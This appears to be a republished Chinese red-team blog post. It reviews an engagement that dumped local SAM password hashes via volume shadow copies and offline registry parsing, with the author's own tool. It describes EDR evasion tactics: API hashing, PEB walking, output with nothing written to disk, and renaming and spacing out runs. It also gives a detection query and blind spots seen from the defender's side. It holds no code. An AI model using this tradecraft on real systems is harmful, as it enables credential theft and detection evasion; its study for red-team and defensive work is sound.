这套流程,其实就是现代红队的标准 SOP,只是每一步都在真实场景的约束下产生
1、侦察,权限和防护覆盖到哪一层
2、换数据源而不是换权限,不硬要 SYSTEM,也不改 DACL,而是绕开独占锁限制
3、分清注册表键的 ACL和磁盘文件的 ACL
4、解析,用 offreg 这类离线库就地解析 REGF,不产生副本;
5、密码学,bootkey 、 syskey 、 NTLM,并且要按系统版本分流 RC4 / AES;
6、对抗静态,PEB 遍历、API 哈希、回调蹦床,导入表、调用栈特征;
7、工程化单文件、静态链接、参数化、落地即用。
所以这个工具本身不是重点,实际实战写工具只要能达到最简化就可以了,这个工具只是作为标准化的载体,不是只要我会用,而是让团队成员也能用。

盲区1:卷影创建被当成噪音无视掉了。因为它在一个有备份系统的环境里天天发生,规则要么因为误报被关掉,要么把备份软件整体白名单化,攻击者只要蹭进那个白名单就一起被放过。

盲区2:不落地加只走 fflush(stdout) ,文件线索没了,没有 SAM 副本没有输出文件,传统监控的手段直接失效,只能从工具行为方面去找。

盲区3:静态特征抹平,基于导入表和调用栈的检测基本能过,得靠内存和 API 的异常调用的动态行为来看。

演练结束我换到防守视角把工具过了一遍,不是没被看见是没被处置,筛选内容:

process.name:(probe* or DaclSamHunter.exe) or registry.key:"HKLM\SAM"

价值点在于probe3.exe 建卷影和删卷影挂在同一个 PID 上,隔了五秒;打开卷影里那个 Config\SAM 的 4656 只出现一次,前后没有任何文件创建事件,所以"落盘"这条线是空的;到第三天,HKLM\SAM 上多了一次 WRITE_DAC,而那个键的 SACL 从来没配过,事件就在库里,只是没人搜过这个名字。
我先知道该搜 probe*。真实防守,能搜的只有行为,某个非签名进程在十分钟内建了卷影又删了它这种句式,才是这套遥测真正的用法。

1、手上有明文口令,为什么不直接 3389 到 N 台?
如果入口是 adminstrator 的口令那确实可以直接 3389,取哈希纯属多余。已有的是服务账号口令,被加进本地管理员组是运维手工做,只覆盖几台服务器,这个做3389最好的情况是过去了发现自己是个普通用户,最差的情况是没有这个用户。


2、真正决定打法的是三个跟手法无关的场景
这台机器不在域里、它是跳板机、它装的是一块杂牌 EDR。大多数复盘只写我用了什么手法,不写环境为什么只允许这个手法。第二个更实际的是本地 SAM 是唯一的凭据库。


3、不要把全静默读过头
一线产品和杂牌的区别不在"有没有告警",在告警背后挂了几层:一线通常是内核回调 + ETW + 用户层 hook + 内存扫描 + 云端沙箱,杂牌往往只有其中一两层。真正的注册表/进程回调在用户态是看不见的,只能靠行为去试,只能猜出对手的规则没细到要去看调用栈。


4、没看见和看见了没报在主机侧分不开。
RegOpenKeyEx 打开 SAM 键,没被拦截,我多走一步枚举可能就是另一条记录。推测的是架构,依据的是它连这么明显的意图都没反应,我打开就失败、什么都没接着干,恰好落在不少规则的边界之外。


5、成本计算。
对检测产品做侦察,比只对目标做侦察更划算,产品决定了手法的上限,成本也只要一条命令。


6、工具的能力边界。
前面都是环境给了我什么条件,如果对手把三件事都做对,一线 EDR、开 LSA Protection、上 Credential Guard,逐条推一遍工具的能力边界也就清楚了。
弱化工具的那三层本质上是对抗的是静态扫描和用户层 hook 的识别,更要说清的是,我那个蹦床并不绕 hook,它拿到的还是 ntdll 里的真实地址,hook 照样触发,它只改了调用栈的形态。

1、进程如果被杀,你输出的一个字都留不下
printf() 在控制台是行缓冲,重定向到文件就变成 4 KB 全缓冲。进程被杀时,缓冲区和进程一起没,表面看到的是什么都没打印,于是判断刚起来就被拦。我第一次就是这么误判的,加 fflush 之后才发现程序其实走到了第六步。

2、同 exe 连跑四次,edr 可能会多条原本不存在的规则
edr 看到的是这个账户在一分钟里反复摆弄卷影服务,他在做探针,这是个特征。纪律是:不做正常运维不会干的事,可以隔段时间再跑,我用的是一天,换exe名称和目录,目标机上只做第一档那种纯查询,外加每档各一次、隔开时间。

3、E_ACCESSDENIED (0x80070005)
这个含义太宽了,COM 初始化没提权、目标文件的 ACL 、被保护进程拒绝、被对方阻断,都会报这个。第四档读卷影里的 SAM 就可能会报这个,多半是文件 ACL 或加固策略,不是 edr。edr 会杀进程或让读到的内容为空,不会礼貌给你个错误码。
此时可以换个文件尝试同样的调用,如果读host和读SAM都失败,说明问题可能在在读的动作或者进程的权限上,跟SAM无关。

4、程序在同版本的克隆机上跑作为对照,没有基线的对照任何的异常都会解释成被拦截了,探针本身是有痕迹的,跑得多就失去意义。

5、这篇博客更多的意义是记录我个人在学习过程中的知识。由于笔者水平有限,本文的写作多借鉴于以下 文章,但也不乏创新思路点。对于攻防过程的技巧,勉强达到要求的合格水平,各位若有其他新颖独特的思路,还望不吝赐教,多多交流。

https://learn.microsoft.com/en-us/windows/win32/devnotes/oropenhive

https://learn.microsoft.com/en-us/windows/desktop/devnotes/offline-registry-library-functions

https://devblogs.microsoft.com/oldnewthing?p=99975

https://learn.microsoft.com/en-us/windows/desktop/VSS/shadow-copy-creation-for-providers

https://learn.microsoft.com/en-us/windows/win32/api/vss/ne-vss-vss_snapshot_context

https://www.passcape.com/text/articles/win10au_hashes.pdf

https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md

https://attack.mitre.org/techniques/T1003/002/

https://github.com/fortra/impacket

https://github.com/gentilkiwi/mimikatz

https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List

https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/deny-access-to-this-computer-from-the-network

https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview

https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Exchange-Web-Service

https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py

https://learn.microsoft.com/en-us/powershell/module/exchange/search-mailboxauditlog


文章来源: https://xz.aliyun.com/news/93181
如有侵权请联系:admin#unsafe.sh